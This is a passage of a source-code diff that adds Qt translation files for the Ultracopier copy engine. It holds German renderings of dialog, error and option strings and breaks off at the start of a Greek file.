+ <location filename="../../Filters.ui" line="105"/>
+ <source>None = Include all</source>
+ <translation>Keiner = Alle einschließen</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="92"/>
+ <location filename="../../Filters.cpp" line="130"/>
+ <source>Raw text</source>
+ <translation>Roh-Text</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="95"/>
+ <location filename="../../Filters.cpp" line="133"/>
+ <source>Simplified regex</source>
+ <translation>Vereinfachte RegEx</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="98"/>
+ <location filename="../../Filters.cpp" line="136"/>
+ <source>Perl&apos;s regex</source>
+ <translation>Perls RegEx</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="106"/>
+ <location filename="../../Filters.cpp" line="144"/>
+ <source>Only on file</source>
+ <translation>Nur auf Datei</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="109"/>
+ <location filename="../../Filters.cpp" line="147"/>
+ <source>Only on folder</source>
+ <translation>Nur auf Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../Filters.cpp" line="115"/>
+ <location filename="../../Filters.cpp" line="153"/>
+ <location filename="../../Filters.cpp" line="215"/>
+ <location filename="../../Filters.cpp" line="254"/>
+ <source>Full match</source>
+ <translation>Volle Übereinstimmung</translation>
+ </message>
+</context>
+<context>
+ <name>FolderExistsDialog</name>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="51"/>
+ <source>Folder already exists</source>
+ <translation>Ordner existiert bereits</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="116"/>
+ <source>%1 - copy</source>
+ <translation>%1 - Kopie</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="126"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - Kopie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Error</source>
+ <translation>Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../FolderExistsDialog.cpp" line="187"/>
+ <source>Try rename with using special characters</source>
+ <translation>Versuche Umbenennung mit Sonderzeichen</translation>
+ </message>
+</context>
+<context>
+ <name>ListThread</name>
+ <message>
+ <location filename="../../ListThread.cpp" line="1447"/>
+ <location filename="../../ListThread.cpp" line="2369"/>
+ <source>Unable do to move or copy item into wrong forced mode: %1</source>
+ <translation>Falscher Modus: %1 - Kann Element nicht verschieben oder kopieren</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1454"/>
+ <location filename="../../ListThread.cpp" line="2376"/>
+ <source>Unable to save the transfer list: %1</source>
+ <translation>Konnte die Transferliste: %1 nicht speichern</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1470"/>
+ <source>Problem reading file, or file-size is 0</source>
+ <translation>Lesefehler, oder Dateigröße=0</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1477"/>
+ <source>Wrong header: &quot;%1&quot;</source>
+ <translation>Falscher Header: &quot;%1&quot;</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1486"/>
+ <source>The transfer list is in mixed mode, but this instance is not in this mode</source>
+ <translation>Die Transferliste ist im gemischten Modus, aber diese Instanz ist nicht im selben Modus</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1495"/>
+ <source>The transfer list is in copy mode, but this instance is not in this mode</source>
+ <translation>Die Transferliste ist im Kopiermodus, aber diese Instanz ist nicht im selben Modus</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1501"/>
+ <source>The transfer list is in move mode, but this instance is not in this mode</source>
+ <translation>Die Transferliste ist im Verschiebe-Modus, aber diese Instanz ist nicht im selben Modus</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1557"/>
+ <source>Some errors have been found during the line parsing</source>
+ <translation>Bei der Zeilenanalyse sind Fehler aufgetreten</translation>
+ </message>
+ <message>
+ <location filename="../../ListThread.cpp" line="1565"/>
+ <source>Unable to open the transfer list: %1</source>
+ <translation>Transferliste: %1 kann nicht geöffnet werden</translation>
+ </message>
+</context>
+<context>
+ <name>MkPath</name>
+ <message>
+ <location filename="../../MkPath.cpp" line="142"/>
+ <source>Unable to create the folder</source>
+ <translation>Der Ordner kann nicht erstellt werden</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="155"/>
+ <source>The source folder don&apos;t exists</source>
+ <translation>Quell-Ordner existiert nicht</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="183"/>
+ <source>Unable to temporary rename the folder</source>
+ <translation>Kann den Ordner nicht temporär umbenennen</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="206"/>
+ <source>Unable to do the final real move the folder</source>
+ <translation>Kann den Ordner nicht endgültig verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="232"/>
+ <source>Unable to move the folder</source>
+ <translation>Kann den Ordner nicht verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../MkPath.cpp" line="93"/>
+ <location filename="../../MkPath.cpp" line="275"/>
+ <source>Unable to remove</source>
+ <translation>Kann nicht löschen</translation>
+ </message>
+</context>
+<context>
+ <name>ReadThread</name>
+ <message>
+ <location filename="../../ReadThread.cpp" line="55"/>
+ <source>Internal error, please report it!</source>
+ <translation>Interner Fehler - Bitte bei mir melden!</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="184"/>
+ <source>Internal error reading the source file:block size out of range</source>
+ <translation>Interner Fehler beim Lesen der Quelldatei: Blockgröße außerhalb des zulässigen Bereichs</translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="192"/>
+ <location filename="../../ReadThread.cpp" line="408"/>
+ <source>Unable to read the source file: </source>
+ <translation>Die Quelldatei kann nicht gelesen werden: </translation>
+ </message>
+ <message>
+ <location filename="../../ReadThread.cpp" line="233"/>
+ <location filename="../../ReadThread.cpp" line="456"/>
+ <source>File truncated during the read, possible data change</source>
+ <translation>Datei während des Lesevorgangs abgeschnitten, Daten wurden möglicherweise verändert</translation>
+ </message>
+</context>
+<context>
+ <name>RenamingRules</name>
+ <message>
+ <location filename="../../RenamingRules.ui" line="26"/>
+ <source>First renaming</source>
+ <translation>Erste Umbenennung</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="32"/>
+ <source>%name% - copy</source>
+ <extracomment>%name% should not be translated</extracomment>
+ <translation>%name% - Kopie</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="39"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment> should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variablen: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; für den ursprünglichen Dateinamen&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="49"/>
+ <source>Second renaming</source>
+ <translation>Zweite Umbenennung</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="55"/>
+ <source>%name% - copy (%number%)</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>%name% - Kopie (%number%)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="62"/>
+ <source>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variables: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; for the original file name&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; for the extra number&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</source>
+ <extracomment>%name%, %number% should not be translated</extracomment>
+ <translation>&lt;html&gt;&lt;head/&gt;&lt;body&gt;&lt;p&gt;Variablen: &lt;span style=&quot; font-weight:600;&quot;&gt;%name%&lt;/span&gt; für den ursprünglichen Dateinamen&lt;/p&gt;&lt;p&gt;&lt;span style=&quot; font-weight:600;&quot;&gt;%number%&lt;/span&gt; für die zusätzliche Zahl&lt;/p&gt;&lt;/body&gt;&lt;/html&gt;</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="39"/>
+ <location filename="../../RenamingRules.cpp" line="62"/>
+ <source>%1 - copy</source>
+ <translation>%1 - Kopie</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.cpp" line="43"/>
+ <location filename="../../RenamingRules.cpp" line="73"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - Kopie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../RenamingRules.ui" line="14"/>
+ <source>Renaming rules</source>
+ <translation>Umbennungsregeln</translation>
+ </message>
+</context>
+<context>
+ <name>ScanFileOrFolder</name>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="265"/>
+ <source>Blacklisted folder</source>
+ <translation>Ordner der schwarzen Liste</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="327"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="393"/>
+ <source>%1 - copy</source>
+ <translation>%1 - Kopie</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="337"/>
+ <location filename="../../ScanFileOrFolder.cpp" line="403"/>
+ <source>%1 - copy (%2)</source>
+ <translation>%1 - Kopie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="441"/>
+ <source>This is not a folder</source>
+ <translation>Dies ist kein Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="443"/>
+ <source>The folder does exists</source>
+ <translation>Ordner existiert bereits</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="445"/>
+ <source>The folder is not readable</source>
+ <translation>Der Ordner kann nicht gelesen werden</translation>
+ </message>
+ <message>
+ <location filename="../../ScanFileOrFolder.cpp" line="456"/>
+ <source>Problem with name encoding</source>
+ <translation>Problem mit der Namen-Encodierung</translation>
+ </message>
+</context>
+<context>
+ <name>TransferThread</name>
+ <message>
+ <location filename="../../TransferThread.cpp" line="235"/>
+ <location filename="../../TransferThread.cpp" line="663"/>
+ <location filename="../../TransferThread.cpp" line="735"/>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <source>File not found</source>
+ <translation>Datei nicht gefunden</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="336"/>
+ <location filename="../../TransferThread.cpp" line="353"/>
+ <source>Wrong modification date or unable to get it, you can disable time transfer to do it</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="408"/>
+ <location filename="../../TransferThread.cpp" line="431"/>
+ <source>Internal error: Already opening</source>
+ <translation type="unfinished">Interner Fehler: Bereits geöffnet</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="572"/>
+ <source>Drive %1</source>
+ <translation type="unfinished">Laufwerk %1</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="574"/>
+ <source>Unknown folder</source>
+ <translation type="unfinished">Unbekannter Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="578"/>
+ <source>root</source>
+ <translation type="unfinished">Stammverzeichnis</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="631"/>
+ <source>%1 - copy</source>
+ <translation type="unfinished">%1 - Kopie</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="641"/>
+ <source>%1 - copy (%2)</source>
+ <translation type="unfinished">%1 - Kopie (%2)</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="777"/>
+ <source>The source doesn&apos;t exist</source>
+ <translation type="unfinished">Quelle existiert nicht</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1303"/>
+ <location filename="../../TransferThread.cpp" line="1321"/>
+ <location filename="../../TransferThread.cpp" line="1336"/>
+ <source>Unable to change the date</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="701"/>
+ <location filename="../../TransferThread.cpp" line="816"/>
+ <source>The source file doesn&apos;t exist</source>
+ <translation type="unfinished">Quelldatei existiert nicht</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1124"/>
+ <source>The checksums do not match</source>
+ <translation type="unfinished">Prüfsummen sind verschieden</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1227"/>
+ <source>Internal error: The size transfered doesn&apos;t match</source>
+ <translation type="unfinished">Interner Fehler: Ubertragene Größe ungleich</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="741"/>
+ <location filename="../../TransferThread.cpp" line="828"/>
+ <source>Unable to do the folder</source>
+ <translation type="unfinished">Ordner kann nicht erstellt werden</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="219"/>
+ <source>Try rename with using special characters</source>
+ <translation>Versuche Umbenennung mit Sonderzeichen</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="822"/>
+ <source>Another file exists at same place</source>
+ <translation type="unfinished">Andere Datei befindet sich am selben Ort</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1213"/>
+ <source>Internal error: The destination is not closed</source>
+ <translation type="unfinished">Interner Fehler: Ziel ist nicht geschlossen</translation>
+ </message>
+ <message>
+ <location filename="../../TransferThread.cpp" line="1238"/>
+ <source>Internal error: The buffer is not empty</source>
+ <translation type="unfinished">Interner Fehler: Puffer ist nicht leer</translation>
+ </message>
+</context>
+<context>
+ <name>WriteThread</name>
+ <message>
+ <location filename="../../WriteThread.cpp" line="80"/>
+ <source>Path resolution error (Empty path)</source>
+ <translation>Pfad-Auflösungsfehler (leerer Pfad)</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="268"/>
+ <source>Internal error, please report it!</source>
+ <translation>Interner Fehler - Bitte bei mir melden!</translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="671"/>
+ <source>Unable to read the source file: </source>
+ <translation>Quelldatei kann nicht gelesen werden: </translation>
+ </message>
+ <message>
+ <location filename="../../WriteThread.cpp" line="696"/>
+ <source>File truncated during read, possible data change</source>
+ <translation>Datenabbruch beim Lesen, Daten wurden möglicherweise verändert</translation>
+ </message>
+</context>
+<context>
+ <name>copyEngineOptions</name>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="35"/>
+ <source>Transfer</source>
+ <translation>Übertragung</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="44"/>
+ <source>Move the whole folder</source>
+ <translation>Verschiebe den ganzen Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="51"/>
+ <source>Transfer the file rights</source>
+ <translation>Übertrage die Dateirechte</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="61"/>
+ <source>Keep the file date</source>
+ <translation>Datum der Dateien beibehalten</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="74"/>
+ <source>Autostart the transfer</source>
+ <translation>Übertragung automatisch starten</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="81"/>
+ <location filename="../../copyEngineOptions.ui" line="101"/>
+ <source>Less performance if checked</source>
+ <translation>Leistung drosseln</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="104"/>
+ <source>Follow the strict order</source>
+ <translation>Genau nach Reihenfolge</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="130"/>
+ <source>Error and collision</source>
+ <translation>Fehler und Kollision</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="136"/>
+ <source>When folder error</source>
+ <translation>Bei Ordnerfehlern:</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="146"/>
+ <source>When file error</source>
+ <translation>Bei Dateifehlern:</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="172"/>
+ <source>When file collision</source>
+ <translation>Bei Dateikollisionen:</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="232"/>
+ <source>When folder collision</source>
+ <translation>Bei Ordnerkollisionen:</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="263"/>
+ <source>Check if destination folder exists</source>
+ <translation>Prüfen ob Zielordner vorhanden ist</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="270"/>
+ <source>Renaming rules</source>
+ <translation>Umbennungsregeln</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="290"/>
+ <source>Delete partially transferred files</source>
+ <translation>Unvollständig übertragene Dateien löschen</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="303"/>
+ <source>Rename the original destination</source>
+ <translation>Original-Ziel umbenennen</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="334"/>
+ <source>Control</source>
+ <translation>Überprüfung</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="340"/>
+ <source>Checksum</source>
+ <translation>Prüfsumme</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="349"/>
+ <source>Only after error</source>
+ <translation>Nur nach einem Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="356"/>
+ <source>Ignore if impossible</source>
+ <translation>Ignorieren falls unmöglich</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="373"/>
+ <source>Verify checksums</source>
+ <translation>Prüfsummen vergleichen</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="405"/>
+ <source>Performance</source>
+ <translation>Leistung</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="411"/>
+ <source>Parallel buffer</source>
+ <translation>Paralleler Puffer</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="418"/>
+ <location filename="../../copyEngineOptions.ui" line="431"/>
+ <location filename="../../copyEngineOptions.ui" line="444"/>
+ <location filename="../../copyEngineOptions.ui" line="481"/>
+ <location filename="../../copyEngineOptions.ui" line="550"/>
+ <source>KB</source>
+ <translation>KB</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="460"/>
+ <source>Block size</source>
+ <translation>Blockgröße</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="467"/>
+ <source>Sequential buffer</source>
+ <translation>Sequentieller Puffer</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="474"/>
+ <source>Enable OS buffer</source>
+ <translation>OS-Puffer aktivieren</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="497"/>
+ <source>OS buffer only if smaller than</source>
+ <translation>OS-Puffer nur verwenden, wenn kleiner als</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="504"/>
+ <source>Transfer algorithm</source>
+ <translation>Übertragungs-Algorithmus</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="543"/>
+ <source>Parallelize if smaller than</source>
+ <translation>Parallelisieren wenn kleiner als</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="573"/>
+ <source>Inode threads</source>
+ <translation>Inode Threads</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="580"/>
+ <location filename="../../copyEngineOptions.ui" line="590"/>
+ <source>More cpu, but better organisation on the disk</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="593"/>
+ <source>Order the list</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="609"/>
+ <source>Misc</source>
+ <translation>Verschiedenes</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="615"/>
+ <source>Check the disk space</source>
+ <translation>Auf freien Speicherplatz überprüfen</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="625"/>
+ <source>Use this folder when destination is not set</source>
+ <translation type="unfinished"></translation>
+ </message>
+ <message>
+ <source>Use this folder when destination is empty</source>
+ <translation type="obsolete">Benutze diesen Ordner wenn Ziel nicht benannt</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="637"/>
+ <source>Browse</source>
+ <translation>Wählen</translation>
+ </message>
+ <message>
+ <location filename="../../copyEngineOptions.ui" line="659"/>
+ <source>Filters</source>
+ <translation>Filter</translation>
+ </message>
+</context>
+<context>
+ <name>fileErrorDialog</name>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="14"/>
+ <source>Error with file</source>
+ <translation>Dateifehler</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="20"/>
+ <source>Error</source>
+ <translation>Fehler</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="59"/>
+ <source>Size</source>
+ <translation>Größe</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="76"/>
+ <source>Modified</source>
+ <translation>Geändert</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="93"/>
+ <source>File name</source>
+ <translation>Dateiname</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="110"/>
+ <source>Destination</source>
+ <translation>Ziel</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="127"/>
+ <source>Folder</source>
+ <translation>Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="173"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Aktion immer ausführen</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="193"/>
+ <source>Try in with elevated privileges</source>
+ <translation>Mit erweiterten Rechten versuchen</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="200"/>
+ <source>Put to bottom</source>
+ <translation>Ans Ende verschieben</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="207"/>
+ <source>Retry</source>
+ <translation>Wiederholen</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="214"/>
+ <source>&amp;Skip</source>
+ <translation>Über&amp;springen</translation>
+ </message>
+ <message>
+ <location filename="../../fileErrorDialog.ui" line="221"/>
+ <source>&amp;Cancel</source>
+ <translation>Abbrechen (&amp;C)</translation>
+ </message>
+</context>
+<context>
+ <name>fileExistsDialog</name>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="14"/>
+ <source>The file exists</source>
+ <translation>Die Datei existiert</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Quelle</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Ziel</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="82"/>
+ <location filename="../../fileExistsDialog.ui" line="170"/>
+ <source>Size</source>
+ <translation>Größe</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="99"/>
+ <location filename="../../fileExistsDialog.ui" line="187"/>
+ <source>Modified</source>
+ <translation>Geändert</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="116"/>
+ <location filename="../../fileExistsDialog.ui" line="204"/>
+ <source>File name</source>
+ <translation>Dateiname</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="133"/>
+ <location filename="../../fileExistsDialog.ui" line="221"/>
+ <source>Folder</source>
+ <translation>Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="277"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Neuen &amp;Namen vorschlagen</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="288"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Aktion immer ausführen</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="346"/>
+ <location filename="../../fileExistsDialog.ui" line="349"/>
+ <source>Overwrite if modification date differs</source>
+ <translation>Überschreiben, falls Änderungsdatum verschieden</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="308"/>
+ <source>&amp;Rename</source>
+ <translation>Umbenennen (&amp;R)</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="315"/>
+ <source>&amp;Overwrite</source>
+ <translation>Überschreiben (&amp;O)</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="325"/>
+ <source>&amp;Skip</source>
+ <translation>Über&amp;springen</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="332"/>
+ <source>&amp;Cancel</source>
+ <translation>Abbrechen (&amp;C)</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="341"/>
+ <source>Overwrite if newer</source>
+ <translation>Überschreiben, falls neuer</translation>
+ </message>
+ <message>
+ <location filename="../../fileExistsDialog.ui" line="354"/>
+ <location filename="../../fileExistsDialog.ui" line="357"/>
+ <source>Overwrite if older</source>
+ <translation>Überschreiben, falls älter</translation>
+ </message>
+</context>
+<context>
+ <name>fileIsSameDialog</name>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="40"/>
+ <source>Size</source>
+ <translation>Größe</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="110"/>
+ <source>Modified</source>
+ <translation>Geändert</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="70"/>
+ <source>File name</source>
+ <translation>Dateiname</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="14"/>
+ <source>The source and destination are same</source>
+ <translation>Quelle und Ziel sind gleich</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="90"/>
+ <source>Folder</source>
+ <translation>Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="159"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Neuen &amp;Namen vorschlagen</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="170"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Aktion immer ausführen</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="190"/>
+ <source>&amp;Rename</source>
+ <translation>Umbenennen (&amp;R)</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="197"/>
+ <source>&amp;Skip</source>
+ <translation>Über&amp;springen</translation>
+ </message>
+ <message>
+ <location filename="../../fileIsSameDialog.ui" line="204"/>
+ <source>&amp;Cancel</source>
+ <translation>Abbrechen (&amp;C)</translation>
+ </message>
+</context>
+<context>
+ <name>folderExistsDialog</name>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="34"/>
+ <source>Source</source>
+ <translation>Quelle</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="50"/>
+ <source>Destination</source>
+ <translation>Ziel</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="14"/>
+ <source>The source and destination is identical</source>
+ <translation>Quelle und Ziel sind identisch</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="82"/>
+ <location filename="../../folderExistsDialog.ui" line="150"/>
+ <source>Modified</source>
+ <translation>Geändert</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="99"/>
+ <location filename="../../folderExistsDialog.ui" line="160"/>
+ <source>Folder name</source>
+ <translation>Ordnername</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="116"/>
+ <location filename="../../folderExistsDialog.ui" line="184"/>
+ <source>Folder</source>
+ <translation>Ordner</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="227"/>
+ <source>Suggest new &amp;name</source>
+ <translation>Neuen &amp;Namen vorschlagen</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="238"/>
+ <source>&amp;Always perform this action</source>
+ <translation>&amp;Aktion immer ausführen</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="245"/>
+ <source>&amp;Rename</source>
+ <translation>Umbenennen (&amp;R)</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="252"/>
+ <source>Merge</source>
+ <translation>Fusionieren</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="259"/>
+ <source>Skip</source>
+ <translation>Überspringen</translation>
+ </message>
+ <message>
+ <location filename="../../folderExistsDialog.ui" line="266"/>
+ <source>&amp;Cancel</source>
+ <translation>Abbrechen (&amp;C)</translation>
+ </message>
+</context>
+</TS>
diff --git a/plugins/CopyEngine/Ultracopier/Languages/el/translation.ts b/plugins/CopyEngine/Ultracopier/Languages/el/translation.ts
new file mode 100644
index 0000000..3362659
--- /dev/null
+++ b/plugins/CopyEngine/Ultracopier/Languages/el/translation.ts
@@ -0,0 +1,1289 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!DOCTYPE TS>
+<TS version="2.0">
+<context>
+ <name>AvancedQFile</name>
+ <message>
+ <location filename="../../AvancedQFile.cpp" line="26"/>
